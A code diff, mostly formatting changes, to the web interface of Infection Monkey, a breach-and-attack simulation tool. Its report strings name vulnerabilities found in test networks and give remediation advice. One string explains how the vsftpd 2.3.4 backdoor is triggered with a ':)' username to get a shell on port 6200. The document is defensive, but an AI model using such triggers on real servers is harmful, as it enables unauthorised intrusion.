+ {this.generateReportRecommendationsSection()}
+ {this.generateReportGlanceSection()}
+ {this.generateAttackSection()}
+ {this.generateReportFooter()}
;
}
return (
-
{print();}} />
+ {
+ print();
+ }}/>
@@ -155,7 +157,9 @@ class ReportPageComponent extends AuthComponent {
{content}
-
{print();}} />
+ {
+ print();
+ }}/>
);
@@ -269,14 +273,14 @@ class ReportPageComponent extends AuthComponent {
return x === true;
}).length > 0 ?
- During this simulated attack the Monkey uncovered
{this.state.report.overview.issues.filter(function (x) {
return x === true;
}).length} threats :
{this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
- Stolen SSH keys are used to exploit other machines. : null }
+ Stolen SSH keys are used to exploit other machines. : null}
{this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
Stolen credentials are used to exploit other machines. : null}
{this.state.report.overview.issues[this.Issue.ELASTIC] ?
@@ -309,15 +313,16 @@ class ReportPageComponent extends AuthComponent {
{this.state.report.overview.issues[this.Issue.STRUTS2] ?
Struts2 servers are vulnerable to remote code execution. (
- CVE-2017-5638 ) : null }
+ CVE-2017-5638) : null}
{this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
- Oracle WebLogic servers are susceptible to a remote code execution vulnerability. : null }
+ Oracle WebLogic servers are susceptible to a remote code execution vulnerability. : null}
{this.state.report.overview.issues[this.Issue.HADOOP] ?
- Hadoop/Yarn servers are vulnerable to remote code execution. : null }
+ Hadoop/Yarn servers are vulnerable to remote code execution. : null}
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
- Mimikatz found login credentials of a user who has admin access to a server defined as critical. : null }
+ Mimikatz found login credentials of a user who has admin access to a server defined as
+ critical. : null}
{this.state.report.overview.issues[this.Issue.MSSQL] ?
- MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command. : null }
+ MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command. : null}
:
@@ -344,7 +349,8 @@ class ReportPageComponent extends AuthComponent {
{this.state.report.overview.warnings[this.Warning.TUNNEL] ?
Weak segmentation - Machines were able to communicate over unused ports. : null}
{this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ?
- Shared local administrator account - Different machines have the same account as a local administrator. : null}
+ Shared local administrator account - Different machines have the same account as a local
+ administrator. : null}
{this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ?
Multiple users have the same password : null}
@@ -355,7 +361,7 @@ class ReportPageComponent extends AuthComponent {
}
- { this.state.report.overview.cross_segment_issues.length > 0 ?
+ {this.state.report.overview.cross_segment_issues.length > 0 ?
Segmentation Issues
@@ -380,14 +386,14 @@ class ReportPageComponent extends AuthComponent {
{/* Checks if there are any domain issues. If there are more then one: render the title. Otherwise,
* don't render it (since the issues themselves will be empty. */}
{Object.keys(this.state.report.recommendations.domain_issues).length !== 0 ?
- Domain related recommendations : null }
+ Domain related recommendations : null}
{this.generateIssues(this.state.report.recommendations.domain_issues)}
{/* Checks if there are any issues. If there are more then one: render the title. Otherwise,
* don't render it (since the issues themselves will be empty. */}
{Object.keys(this.state.report.recommendations.issues).length !== 0 ?
- Machine related recommendations : null }
+ Machine related recommendations : null}
{this.generateIssues(this.state.report.recommendations.issues)}
@@ -444,13 +450,13 @@ class ReportPageComponent extends AuthComponent {
- {this.generateReportPthMap()}
+ {this.generateReportPthMap()}
-
+
);
@@ -463,33 +469,35 @@ class ReportPageComponent extends AuthComponent {
Credentials Map
- This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral movement opportunities by attackers.
+ This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral
+ movement opportunities by attackers.
Legend:
- Access credentials |
+ Access credentials |
-
+
);
}
generateAttackSection() {
return (
-
- ATT&CK report
-
-
- This report shows information about ATT&CK techniques used by Infection Monkey.
-
-
-
-
)
+
+ ATT&CK report
+
+
+ This report shows information about ATT&CK techniques used by Infection Monkey.
+
+
+
+ )
}
generateReportFooter() {
@@ -510,22 +518,22 @@ class ReportPageComponent extends AuthComponent {
generateCrossSegmentIssue(crossSegmentIssue) {
return
{'Communication possible from ' + crossSegmentIssue['source_subnet'] + ' to ' + crossSegmentIssue['target_subnet']}
-
-
- {crossSegmentIssue['issues'].map(x =>
- x['is_self'] ?
-
- {'Machine ' + x['hostname'] + ' has both ips: ' + x['source'] + ' and ' + x['target']}
-
- :
-
- {'IP ' + x['source'] + ' (' + x['hostname'] + ') connected to IP ' + x['target']
- + ' using the services: ' + Object.keys(x['services']).join(', ')}
-
- )}
-
-
- ;
+
+
+ {crossSegmentIssue['issues'].map(x =>
+ x['is_self'] ?
+
+ {'Machine ' + x['hostname'] + ' has both ips: ' + x['source'] + ' and ' + x['target']}
+
+ :
+
+ {'IP ' + x['source'] + ' (' + x['hostname'] + ') connected to IP ' + x['target']
+ + ' using the services: ' + Object.keys(x['services']).join(', ')}
+
+ )}
+
+
+ ;
}
generateShellshockPathListBadges(paths) {
@@ -619,18 +627,18 @@ class ReportPageComponent extends AuthComponent {
generateSshKeysIssue(issue) {
return (
-
- Protect {issue.ssh_key} private key with a pass phrase.
-
- The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a SSH attack.
-
- The Monkey authenticated over the SSH protocol with private key {issue.ssh_key} .
-
-
- );
+
+ Protect {issue.ssh_key} private key with a pass phrase.
+
+ The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a SSH attack.
+
+ The Monkey authenticated over the SSH protocol with private key {issue.ssh_key} .
+
+
+ );
}
@@ -660,17 +668,20 @@ class ReportPageComponent extends AuthComponent {
Update your VSFTPD server to the latest version vsftpd-3.0.3.
The machine {issue.machine} ({issue.ip_address} ) has a backdoor running at port {issue.ip_address} ) has a backdoor running at port 6200 .
The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523.
- In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised.
- Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command shell on port 6200.
+ In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been
+ compromised.
+ Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command
+ shell on port 6200.
- The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor at port 6200.
+ The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor
+ at port 6200.
Read more about the security issue and remediation here .
+ href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523"
+ >here.
);
@@ -716,8 +727,8 @@ class ReportPageComponent extends AuthComponent {
Credentials could be stolen from {issue.machine} for the following users {issue.users} . Read more about the security issue and remediation here .
+ href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
+ >here.
);
@@ -756,11 +767,11 @@ class ReportPageComponent extends AuthComponent {
generateSharedCredsDomainIssue(issue) {
return (
-
+
Some domain users are sharing passwords, this should be fixed by changing passwords.
These users are sharing access password:
- {this.generateInfoBadges(issue.shared_with)}.
+ {this.generateInfoBadges(issue.shared_with)}.
);
@@ -768,11 +779,11 @@ class ReportPageComponent extends AuthComponent {
generateSharedCredsIssue(issue) {
return (
-
+
Some users are sharing passwords, this should be fixed by changing passwords.
These users are sharing access password:
- {this.generateInfoBadges(issue.shared_with)}.
+ {this.generateInfoBadges(issue.shared_with)}.
);
@@ -780,8 +791,9 @@ class ReportPageComponent extends AuthComponent {
generateSharedLocalAdminsIssue(issue) {
return (
-
- Make sure the right administrator accounts are managing the right machines, and that there isn’t an unintentional local admin sharing.
+
+ Make sure the right administrator accounts are managing the right machines, and that there isn’t an unintentional local
+ admin sharing.
Here is a list of machines which the account {issue.username} is defined as an administrator:
@@ -793,13 +805,13 @@ class ReportPageComponent extends AuthComponent {
generateStrongUsersOnCritIssue(issue) {
return (
-
+
This critical machine is open to attacks via strong users with access to it.
The services: {this.generateInfoBadges(issue.services)} have been found on the machine
thus classifying it as a critical machine.
These users has access to it:
- {this.generateInfoBadges(issue.threatening_users)}.
+ {this.generateInfoBadges(issue.threatening_users)}.
);
@@ -829,8 +841,8 @@ class ReportPageComponent extends AuthComponent {
The attack was made possible because the server is using an old version of Jakarta based file upload
Multipart parser. For possible work-arounds and more info read here .
+ href="https://cwiki.apache.org/confluence/display/WW/S2-045"
+ >here.
);
@@ -856,7 +868,8 @@ class ReportPageComponent extends AuthComponent {
generateHadoopIssue(issue) {
return (
- Run Hadoop in secure mode (
+ Run Hadoop in secure mode (
add Kerberos authentication ).
The Hadoop server at {issue.machine} (
Disable the xp_cmdshell option.
@@ -880,8 +893,8 @@ generateMSSQLIssue(issue) {
The attack was made possible because the target machine used an outdated MSSQL server configuration allowing
the usage of the xp_cmdshell command. To learn more about how to disable this feature, read
- Microsoft's documentation.
+ href="https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?view=sql-server-2017">
+ Microsoft's documentation.
);
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
index 1008199fc..57373b2f7 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
@@ -1,5 +1,5 @@
import React from 'react';
-import { css } from '@emotion/core';
+import {css} from '@emotion/core';
import {Button, Col, Well, Nav, NavItem, Collapse} from 'react-bootstrap';
import CopyToClipboard from 'react-copy-to-clipboard';
import GridLoader from 'react-spinners/GridLoader';
@@ -35,7 +35,7 @@ class RunMonkeyPageComponent extends AuthComponent {
isLoadingAws: true,
isErrorWhileCollectingAwsMachines: false,
awsMachineCollectionErrorMsg: ''
- };
+ };
}
componentDidMount() {
@@ -48,7 +48,7 @@ class RunMonkeyPageComponent extends AuthComponent {
this.authFetch('/api/local-monkey')
.then(res => res.json())
- .then(res =>{
+ .then(res => {
if (res['is_running']) {
this.setState({runningOnIslandState: 'running'});
} else {
@@ -75,7 +75,7 @@ class RunMonkeyPageComponent extends AuthComponent {
fetchAwsInfo() {
return this.authFetch('/api/remote-monkey?action=list_aws')
.then(res => res.json())
- .then(res =>{
+ .then(res => {
let is_aws = res['is_aws'];
if (is_aws) {
// On AWS!
@@ -83,7 +83,12 @@ class RunMonkeyPageComponent extends AuthComponent {
let is_error_while_collecting_aws_machines = (res['error'] != null);
if (is_error_while_collecting_aws_machines) {
// There was an error. Finish loading, and display error message.
- this.setState({isOnAws: true, isErrorWhileCollectingAwsMachines: true, awsMachineCollectionErrorMsg: res['error'], isLoadingAws: false});
+ this.setState({
+ isOnAws: true,
+ isErrorWhileCollectingAwsMachines: true,
+ awsMachineCollectionErrorMsg: res['error'],
+ isLoadingAws: false
+ });
} else {
// No error! Finish loading and display machines for user
this.setState({isOnAws: true, awsMachines: res['instances'], isLoadingAws: false});
@@ -138,7 +143,7 @@ class RunMonkeyPageComponent extends AuthComponent {
cmdText = RunMonkeyPageComponent.generateWindowsCmd(this.state.selectedIp, is32Bit);
}
return (
-
+
@@ -219,6 +224,7 @@ class RunMonkeyPageComponent extends AuthComponent {
});
});
};
+
fetchConfig() {
return this.authFetch('/api/configuration/island')
.then(res => res.json())
@@ -226,6 +232,7 @@ class RunMonkeyPageComponent extends AuthComponent {
return res.configuration;
})
}
+
instanceIdToInstance = (instance_id) => {
let instance = this.state.awsMachines.find(
function (inst) {
@@ -241,7 +248,9 @@ class RunMonkeyPageComponent extends AuthComponent {
{
@@ -250,7 +259,7 @@ class RunMonkeyPageComponent extends AuthComponent {
style={{'marginBottom': '2em'}}>
{this.state.ips.map(ip => {ip} )}
- :
+ :
}
Run on selected machines
- { this.state.awsClicked ? : null }
+ {this.state.awsClicked ? : null}
)
}
+
render() {
return (
@@ -281,9 +291,9 @@ class RunMonkeyPageComponent extends AuthComponent {
+ >
Run on Monkey Island Server
- { RunMonkeyPageComponent.renderIconByState(this.state.runningOnIslandState) }
+ {RunMonkeyPageComponent.renderIconByState(this.state.runningOnIslandState)}
{
// TODO: implement button functionality
@@ -302,7 +312,8 @@ class RunMonkeyPageComponent extends AuthComponent {
OR
-
+
Run on machine of your choice
@@ -323,7 +334,7 @@ class RunMonkeyPageComponent extends AuthComponent {
style={{'marginBottom': '2em'}}>
{this.state.ips.map(ip => {ip} )}
- :
+ :
}
Copy the following command to your machine and run it with Administrator or root privileges.
@@ -344,7 +355,7 @@ class RunMonkeyPageComponent extends AuthComponent {
/>
- : null
+ : null
}
{
this.state.isOnAws ?
@@ -357,7 +368,8 @@ class RunMonkeyPageComponent extends AuthComponent {
{
this.state.isOnAws ?
-
+
Run on AWS machine of your choice
@@ -370,9 +382,12 @@ class RunMonkeyPageComponent extends AuthComponent {
- Error while collecting AWS machine data. Error message: {this.state.awsMachineCollectionErrorMsg}
+ Error while collecting AWS machine data. Error
+ message: {this.state.awsMachineCollectionErrorMsg}
Are you sure you've set the correct role on your Island AWS machine?
- Not sure what this is? Read the documentation !
+ Not sure what this is? Read
+ the documentation !
:
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js
index c44a5a72f..eca159133 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js
@@ -29,7 +29,9 @@ class StartOverPageComponent extends AuthComponent {
return (
this.setState({showCleanDialog: false})}>
- Reset environment
+
+ Reset environment
+
Are you sure you want to reset the environment?
@@ -40,7 +42,7 @@ class StartOverPageComponent extends AuthComponent {
Some monkeys are still running. It's advised to kill all monkeys before resetting.
:
-
+
}
{
this.setState({showCleanDialog: true});
- this.updateMonkeysRunning();}
+ this.updateMonkeysRunning();
+ }
}>
Reset the Environment
@@ -86,7 +89,7 @@ class StartOverPageComponent extends AuthComponent {
You can continue and Run More Monkeys as you wish,
and see the results on the Infection Map without deleting anything.
- { this.state.cleaned ?
+ {this.state.cleaned ?
Environment was reset successfully
@@ -106,8 +109,8 @@ class StartOverPageComponent extends AuthComponent {
.then(res => {
if (res['status'] === 'OK') {
this.setState({
- cleaned: true
- });
+ cleaned: true
+ });
}
});
}
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js
index 120344eea..27fb50cd0 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js
@@ -5,14 +5,14 @@ import {DataTable} from 'react-data-components';
import AuthComponent from '../AuthComponent';
import download from 'downloadjs'
-const renderJson = (val) =>
;
+const renderJson = (val) =>
;
const renderTime = (val) => val.split('.')[0];
const columns = [
- { title: 'Time', prop: 'timestamp', render: renderTime},
- { title: 'Monkey', prop: 'monkey'},
- { title: 'Type', prop: 'telem_catagory'},
- { title: 'Details', prop: 'data', render: renderJson, width: '40%' }
+ {title: 'Time', prop: 'timestamp', render: renderTime},
+ {title: 'Monkey', prop: 'monkey'},
+ {title: 'Type', prop: 'telem_catagory'},
+ {title: 'Details', prop: 'data', render: renderJson, width: '40%'}
];
class TelemetryPageComponent extends AuthComponent {
@@ -29,7 +29,7 @@ class TelemetryPageComponent extends AuthComponent {
.then(res => this.setState({data: res.objects}));
};
-downloadIslandLog = () => {
+ downloadIslandLog = () => {
this.authFetch('/api/log/island/download')
.then(res => res.json())
.then(res => {
@@ -37,39 +37,39 @@ downloadIslandLog = () => {
let logContent = (res['log_file']);
download(logContent, filename, 'text/plain');
});
- };
+ };
render() {
return (
-
-
-
-
Monkey Island Logs
-
-
Download Monkey Island internal log file
-
{
- this.downloadIslandLog();
+
+
+
+
Monkey Island Logs
+
+
Download Monkey Island internal log file
+
{
+ this.downloadIslandLog();
}}>
- Download
-
-
+
Download
+
+
+
-
);
}
}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js
index 5bc6183fd..c5300f657 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js
@@ -18,8 +18,7 @@ class PaginatedTable extends Component {
/>
);
- }
- else {
+ } else {
return (
);
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js
index 13f9cd92e..92dac6cff 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js
@@ -100,9 +100,9 @@ class AttackReportPageComponent extends AuthComponent {
}
onToggle = technique =>
- this.setState(state => ({ collapseOpen: state.collapseOpen === technique ? null : technique }));
+ this.setState(state => ({collapseOpen: state.collapseOpen === technique ? null : technique}));
- getComponentClass(tech_id){
+ getComponentClass(tech_id) {
switch (this.state.report[tech_id].status) {
case ScanStatus.SCANNED:
return 'collapse-info';
@@ -113,9 +113,9 @@ class AttackReportPageComponent extends AuthComponent {
}
}
- getTechniqueCollapse(tech_id){
+ getTechniqueCollapse(tech_id) {
return (
-
+
this.onToggle(tech_id)}>
{this.state.report[tech_id].title}
@@ -125,11 +125,11 @@ class AttackReportPageComponent extends AuthComponent {
{
- this.setState({ tech_id: collapseState });
+ onChange={({collapseState}) => {
+ this.setState({tech_id: collapseState});
}}
- onInit={({ collapseState }) => {
- this.setState({ tech_id: collapseState });
+ onInit={({collapseState}) => {
+ this.setState({tech_id: collapseState});
}}
render={collapseState => this.createTechniqueContent(collapseState, tech_id)}/>
@@ -146,23 +146,23 @@ class AttackReportPageComponent extends AuthComponent {
}
renderLegend() {
- return( )
+ return ()
}
- generateReportContent(){
+ generateReportContent() {
let content = [];
Object.keys(this.state.report).forEach((tech_id) => {
content.push(this.getTechniqueCollapse(tech_id))
@@ -177,15 +177,14 @@ class AttackReportPageComponent extends AuthComponent {
render() {
let content;
- if (! this.state.runStarted)
- {
+ if (!this.state.runStarted) {
content =
You have to run a monkey before generating a report!
;
- } else if (this.state.report === false){
- content = (
Generating Report... );
+ } else if (this.state.report === false) {
+ content = (
Generating Report... );
} else if (Object.keys(this.state.report).length === 0) {
if (this.state.runStarted) {
content = (
No techniques were scanned );
@@ -193,7 +192,7 @@ class AttackReportPageComponent extends AuthComponent {
} else {
content = this.generateReportContent();
}
- return (
{content}
);
+ return (
{content}
);
}
}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js
index 16f445ce9..b1dc64f62 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js
@@ -1,7 +1,7 @@
import React from 'react';
import ReactTable from 'react-table'
-let renderArray = function(val) {
+let renderArray = function (val) {
return
;
};
@@ -14,10 +14,12 @@ const columns = [
Header: 'Breached Servers',
columns: [
{Header: 'Machine', accessor: 'label'},
- {Header: 'IP Addresses', id: 'ip_addresses',
- accessor: x => renderIpAddresses(x)},
+ {
+ Header: 'IP Addresses', id: 'ip_addresses',
+ accessor: x => renderIpAddresses(x)
+ },
{Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)}
- ]
+ ]
}
];
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js
index ea39e3c45..ebbc473f8 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js
@@ -1,7 +1,7 @@
import React from 'react';
import ReactTable from 'react-table'
-let renderArray = function(val) {
+let renderArray = function (val) {
return
{val.map(x => {x} )} ;
};
@@ -15,36 +15,36 @@ let renderMachine = function (data) {
let renderPbaResults = function (results) {
let pbaClass = "";
- if (results[1]){
- pbaClass="pba-success"
+ if (results[1]) {
+ pbaClass = "pba-success"
} else {
- pbaClass="pba-danger"
+ pbaClass = "pba-danger"
}
return
{results[0]}
};
const subColumns = [
- {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }, width: 160},
- {id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'whiteSpace': 'unset' }}
+ {id: 'pba_name', Header: "Name", accessor: x => x.name, style: {'whiteSpace': 'unset'}, width: 160},
+ {id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: {'whiteSpace': 'unset'}}
];
let renderDetails = function (data) {
let defaultPageSize = data.length > pageSize ? pageSize : data.length;
let showPagination = data.length > pageSize;
return
+ data={data}
+ columns={subColumns}
+ defaultPageSize={defaultPageSize}
+ showPagination={showPagination}
+ style={{"backgroundColor": "#ededed"}}
+ />
};
const columns = [
{
Header: 'Post breach actions',
columns: [
- {id: 'pba_machine', Header:'Machine', accessor: x => renderMachine(x)}
+ {id: 'pba_machine', Header: 'Machine', accessor: x => renderMachine(x)}
]
}
];
@@ -57,8 +57,8 @@ class PostBreachComponent extends React.Component {
}
render() {
- let pbaMachines = this.props.data.filter(function(value, index, arr){
- return ( value.pba_results !== "None" && value.pba_results.length > 0);
+ let pbaMachines = this.props.data.filter(function (value, index, arr) {
+ return (value.pba_results !== "None" && value.pba_results.length > 0);
});
let defaultPageSize = pbaMachines.length > pageSize ? pageSize : pbaMachines.length;
let showPagination = pbaMachines > pageSize;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js
index 57418e415..585e6af37 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js
@@ -1,7 +1,7 @@
import React from 'react';
import ReactTable from 'react-table'
-let renderArray = function(val) {
+let renderArray = function (val) {
return
;
};
@@ -13,11 +13,13 @@ const columns = [
{
Header: 'Scanned Servers',
columns: [
- { Header: 'Machine', accessor: 'label'},
- { Header: 'IP Addresses', id: 'ip_addresses',
- accessor: x => renderIpAddresses(x)},
- { Header: 'Accessible From', id: 'accessible_from_nodes', accessor: x => renderArray(x.accessible_from_nodes)},
- { Header: 'Services', id: 'services', accessor: x => renderArray(x.services)}
+ {Header: 'Machine', accessor: 'label'},
+ {
+ Header: 'IP Addresses', id: 'ip_addresses',
+ accessor: x => renderIpAddresses(x)
+ },
+ {Header: 'Accessible From', id: 'accessible_from_nodes', accessor: x => renderArray(x.accessible_from_nodes)},
+ {Header: 'Services', id: 'services', accessor: x => renderArray(x.services)}
]
}
];
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js
index fde46f85a..25a701871 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js
@@ -5,9 +5,9 @@ const columns = [
{
Header: 'Stolen Credentials',
columns: [
- { Header: 'Username', accessor: 'username'},
- { Header: 'Type', accessor: 'type'},
- { Header: 'Stolen From', accessor: 'origin'}
+ {Header: 'Username', accessor: 'username'},
+ {Header: 'Type', accessor: 'type'},
+ {Header: 'Stolen From', accessor: 'origin'}
]
}
];
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js
index a8f045479..2c2a79c07 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js
@@ -1,7 +1,7 @@
import React from 'react';
import ReactTable from 'react-table'
-let renderArray = function(val) {
+let renderArray = function (val) {
console.log(val);
return
;
};
@@ -10,9 +10,9 @@ const columns = [
{
Header: 'Powerful Users',
columns: [
- { Header: 'Username', accessor: 'username'},
- { Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)},
- { Header: 'Services', id: 'services', accessor: x => renderArray(x.services_names)}
+ {Header: 'Username', accessor: 'username'},
+ {Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)},
+ {Header: 'Services', id: 'services', accessor: x => renderArray(x.services_names)}
]
}
];
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
index 761ff94a9..49905531c 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
@@ -21,13 +21,13 @@ export default class EventsButton extends Component {
render() {
return
-
-
-
- Events {this.createEventsAmountBadge()}
-
-
+
+
+
+ Events {this.createEventsAmountBadge()}
+
+
;
}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js
index a7f2fe41c..2f56c7a76 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js
@@ -20,9 +20,11 @@ export default class EventsModal extends Component {
Events
-
+
- There {Pluralize('is', this.props.events.length)} {
{this.props.events.length}
} {Pluralize('event', this.props.events.length)} associated with this finding.
+ There {Pluralize('is', this.props.events.length)} {
{this.props.events.length}
} {Pluralize('event', this.props.events.length)} associated
+ with this finding.
{this.props.events.length > 5 ? this.renderButtons() : null}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js
index b7fb90811..e124b6659 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js
@@ -22,8 +22,8 @@ export default class EventsTimeline extends Component {
key={index}
createdAt={event_time}
title={event.title}
- icon={ }>
- {event.message}
+ icon={ }>
+ {event.message}
)
})
}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js
index 51c5ca380..2eb839504 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js
@@ -15,7 +15,8 @@ const pillarToIcon = {
export default class PillarLabel extends Component {
render() {
const className = "label " + statusToLabelType[this.props.status];
- return {this.props.pillar}
+ return {this.props.pillar}
}
}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js
index b50ee0c28..6db2dfad3 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js
@@ -10,19 +10,22 @@ const MAX_WIDTH_STATUS_COLUMN = 80;
const columns = [
{
columns: [
- { Header: 'Status', id: 'status',
+ {
+ Header: 'Status', id: 'status',
accessor: x => {
- return ;
+ return ;
},
maxWidth: MAX_WIDTH_STATUS_COLUMN
},
- { Header: 'Zero Trust Principle', accessor: 'principle',
+ {
+ Header: 'Zero Trust Principle', accessor: 'principle',
style: {'whiteSpace': 'unset'} // This enables word wrap
},
- { Header: 'Monkey Tests', id: 'tests',
+ {
+ Header: 'Monkey Tests', id: 'tests',
style: {'whiteSpace': 'unset'}, // This enables word wrap
accessor: x => {
- return ;
+ return ;
}
}
]
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js
index 5ef75f2b4..0820fe3a6 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js
@@ -13,7 +13,7 @@ class ZeroTrustReportLegend extends Component {
- Legend
+ Legend
@@ -32,7 +32,8 @@ class ZeroTrustReportLegend extends Component {
- {"\t"}At least one of the tests related to this component failed. This means that the Infection Monkey detected an unmet Zero Trust requirement.
+ {"\t"}At least one of the tests related to this component failed. This means that the Infection Monkey detected an
+ unmet Zero Trust requirement.
@@ -50,7 +51,8 @@ class ZeroTrustReportLegend extends Component {
- {"\t"}This status means the test wasn't executed.To activate more tests, refer to the Monkey
configuration page.
+ {"\t"}This status means the test wasn't executed.To activate more tests, refer to the Monkey
configuration page.
;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js
index 8e4512ac7..8de7a4d21 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js
@@ -9,14 +9,14 @@ export default class SinglePillarPrinciplesStatus extends AuthComponent {
render() {
if (this.props.principlesStatus.length === 0) {
return null;
- }
- else {
+ } else {
return (
-
+
